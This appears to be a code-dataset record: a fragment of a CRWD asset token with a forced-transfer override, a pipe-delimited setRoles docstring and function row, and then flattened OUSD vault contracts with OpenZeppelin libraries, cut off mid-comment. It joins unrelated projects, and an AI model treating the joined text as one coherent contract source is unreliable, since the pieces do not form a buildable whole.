the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
/** @title FeatureCapitalControlWithForcedTransferFrom. */
contract FeatureCapitalControlWithForcedTransferFrom is FeatureCapitalControl {
///////////////////
// Constructor
///////////////////
constructor(address _capitalControl) FeatureCapitalControl(_capitalControl) public { }
///////////////////
// Events
///////////////////
event SelfApprovedTransfer(address indexed initiator, address indexed from, address indexed to, uint256 value);
///////////////////
// Overrides
///////////////////
//override: transferFrom that has special self-approve behaviour when executed as capitalControl
function transferFrom(address _from, address _to, uint256 _value) public returns (bool)
{
if (msg.sender == capitalControl) {
return enforcedTransferFromInternal(_from, _to, _value, true);
} else {
return transferFromInternal(_from, _to, _value);
}
}
}
// File: contracts/assettoken/STOs/AssetTokenT001.sol
/** @title AssetTokenT001 Token. A CRWDAssetToken with CapitalControl and LostWallet feature */
contract AssetTokenT001 is CRWDAssetToken, FeatureCapitalControlWithForcedTransferFrom
{
constructor(address _capitalControl) FeatureCapitalControlWithForcedTransferFrom(_capitalControl) public {}
}
|
Set roles/operators. _pauseControl pause control. _tokenRescueControl token rescue control (accidentally assigned tokens).
|
function setRoles(Roles storage _self, address _pauseControl, address _tokenRescueControl) public {
require(_pauseControl != address(0), "addr0");
require(_tokenRescueControl != address(0), "addr0");
_self.pauseControl = _pauseControl;
_self.tokenRescueControl = _tokenRescueControl;
emit RolesChanged(msg.sender, _pauseControl, _tokenRescueControl);
}
| 6,461,852 |
// SPDX-License-Identifier: agpl-3.0
pragma solidity ^0.8.0;
/**
* @title OUSD Vault Admin Contract
* @notice The VaultAdmin contract makes configuration and admin calls on the vault.
* @author Origin Protocol Inc
*/
import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import { StableMath } from "../utils/StableMath.sol";
import { IOracle } from "../interfaces/IOracle.sol";
import "./VaultStorage.sol";
contract VaultAdmin is VaultStorage {
using SafeERC20 for IERC20;
using StableMath for uint256;
/**
* @dev Verifies that the caller is the Vault, Governor, or Strategist.
*/
modifier onlyVaultOrGovernorOrStrategist() {
require(
msg.sender == address(this) ||
msg.sender == strategistAddr ||
isGovernor(),
"Caller is not the Vault, Governor, or Strategist"
);
_;
}
modifier onlyGovernorOrStrategist() {
require(
msg.sender == strategistAddr || isGovernor(),
"Caller is not the Strategist or Governor"
);
_;
}
/***************************************
Configuration
****************************************/
/**
* @dev Set address of price provider.
* @param _priceProvider Address of price provider
*/
function setPriceProvider(address _priceProvider) external onlyGovernor {
priceProvider = _priceProvider;
emit PriceProviderUpdated(_priceProvider);
}
/**
* @dev Set a fee in basis points to be charged for a redeem.
* @param _redeemFeeBps Basis point fee to be charged
*/
function setRedeemFeeBps(uint256 _redeemFeeBps) external onlyGovernor {
require(_redeemFeeBps <= 1000, "Redeem fee should not be over 10%");
redeemFeeBps = _redeemFeeBps;
emit RedeemFeeUpdated(_redeemFeeBps);
}
/**
* @dev Set a buffer of assets to keep in the Vault to handle most
* redemptions without needing to spend gas unwinding assets from a Strategy.
* @param _vaultBuffer Percentage using 18 decimals. 100% = 1e18.
*/
function setVaultBuffer(uint256 _vaultBuffer)
external
onlyGovernorOrStrategist
{
require(_vaultBuffer <= 1e18, "Invalid value");
vaultBuffer = _vaultBuffer;
emit VaultBufferUpdated(_vaultBuffer);
}
/**
* @dev Sets the minimum amount of OUSD in a mint to trigger an
* automatic allocation of funds afterwords.
* @param _threshold OUSD amount with 18 fixed decimals.
*/
function setAutoAllocateThreshold(uint256 _threshold)
external
onlyGovernor
{
autoAllocateThreshold = _threshold;
emit AllocateThresholdUpdated(_threshold);
}
/**
* @dev Set a minimum amount of OUSD in a mint or redeem that triggers a
* rebase
* @param _threshold OUSD amount with 18 fixed decimals.
*/
function setRebaseThreshold(uint256 _threshold) external onlyGovernor {
rebaseThreshold = _threshold;
emit RebaseThresholdUpdated(_threshold);
}
/**
* @dev Set address of Strategist
* @param _address Address of Strategist
*/
function setStrategistAddr(address _address) external onlyGovernor {
strategistAddr = _address;
emit StrategistUpdated(_address);
}
/**
* @dev Set the default Strategy for an asset, i.e. the one which the asset
will be automatically allocated to and withdrawn from
* @param _asset Address of the asset
* @param _strategy Address of the Strategy
*/
function setAssetDefaultStrategy(address _asset, address _strategy)
external
onlyGovernorOrStrategist
{
emit AssetDefaultStrategyUpdated(_asset, _strategy);
// If its a zero address being passed for the strategy we are removing
// the default strategy
if (_strategy != address(0)) {
// Make sure the strategy meets some criteria
require(strategies[_strategy].isSupported, "Strategy not approved");
IStrategy strategy = IStrategy(_strategy);
require(assets[_asset].isSupported, "Asset is not supported");
require(
strategy.supportsAsset(_asset),
"Asset not supported by Strategy"
);
}
assetDefaultStrategies[_asset] = _strategy;
}
/**
* @dev Add a supported asset to the contract, i.e. one that can be
* to mint OUSD.
* @param _asset Address of asset
*/
function supportAsset(address _asset) external onlyGovernor {
require(!assets[_asset].isSupported, "Asset already supported");
assets[_asset] = Asset({ isSupported: true });
allAssets.push(_asset);
// Verify that our oracle supports the asset
// slither-disable-next-line unused-return
IOracle(priceProvider).price(_asset);
emit AssetSupported(_asset);
}
/**
* @dev Add a strategy to the Vault.
* @param _addr Address of the strategy to add
*/
function approveStrategy(address _addr) external onlyGovernor {
require(!strategies[_addr].isSupported, "Strategy already approved");
strategies[_addr] = Strategy({ isSupported: true, _deprecated: 0 });
allStrategies.push(_addr);
emit StrategyApproved(_addr);
}
/**
* @dev Remove a strategy from the Vault.
* @param _addr Address of the strategy to remove
*/
function removeStrategy(address _addr) external onlyGovernor {
require(strategies[_addr].isSupported, "Strategy not approved");
for (uint256 i = 0; i < allAssets.length; i++) {
require(
assetDefaultStrategies[allAssets[i]] != _addr,
"Strategy is default for an asset"
);
}
// Initialize strategyIndex with out of bounds result so function will
// revert if no valid index found
uint256 strategyIndex = allStrategies.length;
for (uint256 i = 0; i < allStrategies.length; i++) {
if (allStrategies[i] == _addr) {
strategyIndex = i;
break;
}
}
if (strategyIndex < allStrategies.length) {
allStrategies[strategyIndex] = allStrategies[
allStrategies.length - 1
];
allStrategies.pop();
// Mark the strategy as not supported
strategies[_addr].isSupported = false;
// Withdraw all assets
IStrategy strategy = IStrategy(_addr);
strategy.withdrawAll();
emit StrategyRemoved(_addr);
}
}
/**
* @notice Move assets from one Strategy to another
* @param _strategyFromAddress Address of Strategy to move assets from.
* @param _strategyToAddress Address of Strategy to move assets to.
* @param _assets Array of asset address that will be moved
* @param _amounts Array of amounts of each corresponding asset to move.
*/
function reallocate(
address _strategyFromAddress,
address _strategyToAddress,
address[] calldata _assets,
uint256[] calldata _amounts
) external onlyGovernorOrStrategist {
require(
strategies[_strategyFromAddress].isSupported,
"Invalid from Strategy"
);
require(
strategies[_strategyToAddress].isSupported,
"Invalid to Strategy"
);
require(_assets.length == _amounts.length, "Parameter length mismatch");
IStrategy strategyFrom = IStrategy(_strategyFromAddress);
IStrategy strategyTo = IStrategy(_strategyToAddress);
for (uint256 i = 0; i < _assets.length; i++) {
require(strategyTo.supportsAsset(_assets[i]), "Asset unsupported");
// Withdraw from Strategy and pass other Strategy as recipient
strategyFrom.withdraw(address(strategyTo), _assets[i], _amounts[i]);
}
// Tell new Strategy to deposit into protocol
strategyTo.depositAll();
}
/**
* @dev Sets the maximum allowable difference between
* total supply and backing assets' value.
*/
function setMaxSupplyDiff(uint256 _maxSupplyDiff) external onlyGovernor {
maxSupplyDiff = _maxSupplyDiff;
emit MaxSupplyDiffChanged(_maxSupplyDiff);
}
/**
* @dev Sets the trusteeAddress that can receive a portion of yield.
* Setting to the zero address disables this feature.
*/
function setTrusteeAddress(address _address) external onlyGovernor {
trusteeAddress = _address;
emit TrusteeAddressChanged(_address);
}
/**
* @dev Sets the TrusteeFeeBps to the percentage of yield that should be
* received in basis points.
*/
function setTrusteeFeeBps(uint256 _basis) external onlyGovernor {
require(_basis <= 5000, "basis cannot exceed 50%");
trusteeFeeBps = _basis;
emit TrusteeFeeBpsChanged(_basis);
}
/***************************************
Pause
****************************************/
/**
* @dev Set the deposit paused flag to true to prevent rebasing.
*/
function pauseRebase() external onlyGovernorOrStrategist {
rebasePaused = true;
emit RebasePaused();
}
/**
* @dev Set the deposit paused flag to true to allow rebasing.
*/
function unpauseRebase() external onlyGovernor {
rebasePaused = false;
emit RebaseUnpaused();
}
/**
* @dev Set the deposit paused flag to true to prevent capital movement.
*/
function pauseCapital() external onlyGovernorOrStrategist {
capitalPaused = true;
emit CapitalPaused();
}
/**
* @dev Set the deposit paused flag to false to enable capital movement.
*/
function unpauseCapital() external onlyGovernorOrStrategist {
capitalPaused = false;
emit CapitalUnpaused();
}
/***************************************
Utils
****************************************/
/**
* @dev Transfer token to governor. Intended for recovering tokens stuck in
* contract, i.e. mistaken sends.
* @param _asset Address for the asset
* @param _amount Amount of the asset to transfer
*/
function transferToken(address _asset, uint256 _amount)
external
onlyGovernor
{
require(!assets[_asset].isSupported, "Only unsupported assets");
IERC20(_asset).safeTransfer(governor(), _amount);
}
/***************************************
Pricing
****************************************/
/**
* @dev Returns the total price in 18 digit USD for a given asset.
* Never goes above 1, since that is how we price mints
* @param asset address of the asset
* @return uint256 USD price of 1 of the asset, in 18 decimal fixed
*/
function priceUSDMint(address asset) external view returns (uint256) {
uint256 price = IOracle(priceProvider).price(asset);
if (price > 1e8) {
price = 1e8;
}
// Price from Oracle is returned with 8 decimals so scale to 18
return price.scaleBy(18, 8);
}
/**
* @dev Returns the total price in 18 digit USD for a given asset.
* Never goes below 1, since that is how we price redeems
* @param asset Address of the asset
* @return uint256 USD price of 1 of the asset, in 18 decimal fixed
*/
function priceUSDRedeem(address asset) external view returns (uint256) {
uint256 price = IOracle(priceProvider).price(asset);
if (price < 1e8) {
price = 1e8;
}
// Price from Oracle is returned with 8 decimals so scale to 18
return price.scaleBy(18, 8);
}
/***************************************
Strategies Admin
****************************************/
/**
* @dev Withdraws all assets from the strategy and sends assets to the Vault.
* @param _strategyAddr Strategy address.
*/
function withdrawAllFromStrategy(address _strategyAddr)
external
onlyGovernorOrStrategist
{
require(
strategies[_strategyAddr].isSupported,
"Strategy is not supported"
);
IStrategy strategy = IStrategy(_strategyAddr);
strategy.withdrawAll();
}
/**
* @dev Withdraws all assets from all the strategies and sends assets to the Vault.
*/
function withdrawAllFromStrategies() external onlyGovernorOrStrategist {
for (uint256 i = 0; i < allStrategies.length; i++) {
IStrategy strategy = IStrategy(allStrategies[i]);
strategy.withdrawAll();
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity ^0.8.0;
import { SafeMath } from "@openzeppelin/contracts/utils/math/SafeMath.sol";
// Based on StableMath from Stability Labs Pty. Ltd.
// https://github.com/mstable/mStable-contracts/blob/master/contracts/shared/StableMath.sol
library StableMath {
using SafeMath for uint256;
/**
* @dev Scaling unit for use in specific calculations,
* where 1 * 10**18, or 1e18 represents a unit '1'
*/
uint256 private constant FULL_SCALE = 1e18;
/***************************************
Helpers
****************************************/
/**
* @dev Adjust the scale of an integer
* @param to Decimals to scale to
* @param from Decimals to scale from
*/
function scaleBy(
uint256 x,
uint256 to,
uint256 from
) internal pure returns (uint256) {
if (to > from) {
x = x.mul(10**(to - from));
} else if (to < from) {
x = x.div(10**(from - to));
}
return x;
}
/***************************************
Precise Arithmetic
****************************************/
/**
* @dev Multiplies two precise units, and then truncates by the full scale
* @param x Left hand input to multiplication
* @param y Right hand input to multiplication
* @return Result after multiplying the two inputs and then dividing by the shared
* scale unit
*/
function mulTruncate(uint256 x, uint256 y) internal pure returns (uint256) {
return mulTruncateScale(x, y, FULL_SCALE);
}
/**
* @dev Multiplies two precise units, and then truncates by the given scale. For example,
* when calculating 90% of 10e18, (10e18 * 9e17) / 1e18 = (9e36) / 1e18 = 9e18
* @param x Left hand input to multiplication
* @param y Right hand input to multiplication
* @param scale Scale unit
* @return Result after multiplying the two inputs and then dividing by the shared
* scale unit
*/
function mulTruncateScale(
uint256 x,
uint256 y,
uint256 scale
) internal pure returns (uint256) {
// e.g. assume scale = fullScale
// z = 10e18 * 9e17 = 9e36
uint256 z = x.mul(y);
// return 9e36 / 1e18 = 9e18
return z.div(scale);
}
/**
* @dev Multiplies two precise units, and then truncates by the full scale, rounding up the result
* @param x Left hand input to multiplication
* @param y Right hand input to multiplication
* @return Result after multiplying the two inputs and then dividing by the shared
* scale unit, rounded up to the closest base unit.
*/
function mulTruncateCeil(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
// e.g. 8e17 * 17268172638 = 138145381104e17
uint256 scaled = x.mul(y);
// e.g. 138145381104e17 + 9.99...e17 = 138145381113.99...e17
uint256 ceil = scaled.add(FULL_SCALE.sub(1));
// e.g. 13814538111.399...e18 / 1e18 = 13814538111
return ceil.div(FULL_SCALE);
}
/**
* @dev Precisely divides two units, by first scaling the left hand operand. Useful
* for finding percentage weightings, i.e. 8e18/10e18 = 80% (or 8e17)
* @param x Left hand input to division
* @param y Right hand input to division
* @return Result after multiplying the left operand by the scale, and
* executing the division on the right hand input.
*/
function divPrecisely(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
// e.g. 8e18 * 1e18 = 8e36
uint256 z = x.mul(FULL_SCALE);
// e.g. 8e36 / 10e18 = 8e17
return z.div(y);
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity ^0.8.0;
interface IOracle {
/**
* @dev returns the asset price in USD, 8 decimal digits.
*/
function price(address asset) external view returns (uint256);
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity ^0.8.0;
/**
* @title OUSD VaultStorage Contract
* @notice The VaultStorage contract defines the storage for the Vault contracts
* @author Origin Protocol Inc
*/
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import { SafeMath } from "@openzeppelin/contracts/utils/math/SafeMath.sol";
import { Address } from "@openzeppelin/contracts/utils/Address.sol";
import { IStrategy } from "../interfaces/IStrategy.sol";
import { Governable } from "../governance/Governable.sol";
import { OUSD } from "../token/OUSD.sol";
import { Initializable } from "../utils/Initializable.sol";
import "../utils/Helpers.sol";
import { StableMath } from "../utils/StableMath.sol";
contract VaultStorage is Initializable, Governable {
using SafeMath for uint256;
using StableMath for uint256;
using SafeMath for int256;
using SafeERC20 for IERC20;
event AssetSupported(address _asset);
event AssetDefaultStrategyUpdated(address _asset, address _strategy);
event AssetAllocated(address _asset, address _strategy, uint256 _amount);
event StrategyApproved(address _addr);
event StrategyRemoved(address _addr);
event Mint(address _addr, uint256 _value);
event Redeem(address _addr, uint256 _value);
event CapitalPaused();
event CapitalUnpaused();
event RebasePaused();
event RebaseUnpaused();
event VaultBufferUpdated(uint256 _vaultBuffer);
event RedeemFeeUpdated(uint256 _redeemFeeBps);
event PriceProviderUpdated(address _priceProvider);
event AllocateThresholdUpdated(uint256 _threshold);
event RebaseThresholdUpdated(uint256 _threshold);
event StrategistUpdated(address _address);
event MaxSupplyDiffChanged(uint256 maxSupplyDiff);
event YieldDistribution(address _to, uint256 _yield, uint256 _fee);
event TrusteeFeeBpsChanged(uint256 _basis);
event TrusteeAddressChanged(address _address);
// Assets supported by the Vault, i.e. Stablecoins
struct Asset {
bool isSupported;
}
mapping(address => Asset) internal assets;
address[] internal allAssets;
// Strategies approved for use by the Vault
struct Strategy {
bool isSupported;
uint256 _deprecated; // Deprecated storage slot
}
mapping(address => Strategy) internal strategies;
address[] internal allStrategies;
// Address of the Oracle price provider contract
address public priceProvider;
// Pausing bools
bool public rebasePaused = false;
bool public capitalPaused = true;
// Redemption fee in basis points
uint256 public redeemFeeBps;
// Buffer of assets to keep in Vault to handle (most) withdrawals
uint256 public vaultBuffer;
// Mints over this amount automatically allocate funds. 18 decimals.
uint256 public autoAllocateThreshold;
// Mints over this amount automatically rebase. 18 decimals.
uint256 public rebaseThreshold;
OUSD internal oUSD;
//keccak256("OUSD.vault.governor.admin.impl");
bytes32 constant adminImplPosition =
0xa2bd3d3cf188a41358c8b401076eb59066b09dec5775650c0de4c55187d17bd9;
// Address of the contract responsible for post rebase syncs with AMMs
address private _deprecated_rebaseHooksAddr = address(0);
// Deprecated: Address of Uniswap
// slither-disable-next-line constable-states
address private _deprecated_uniswapAddr = address(0);
// Address of the Strategist
address public strategistAddr = address(0);
// Mapping of asset address to the Strategy that they should automatically
// be allocated to
mapping(address => address) public assetDefaultStrategies;
uint256 public maxSupplyDiff;
// Trustee contract that can collect a percentage of yield
address public trusteeAddress;
// Amount of yield collected in basis points
uint256 public trusteeFeeBps;
// Deprecated: Tokens that should be swapped for stablecoins
address[] private _deprecated_swapTokens;
/**
* @dev set the implementation for the admin, this needs to be in a base class else we cannot set it
* @param newImpl address of the implementation
*/
function setAdminImpl(address newImpl) external onlyGovernor {
require(
Address.isContract(newImpl),
"new implementation is not a contract"
);
bytes32 position = adminImplPosition;
assembly {
sstore(position, newImpl)
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
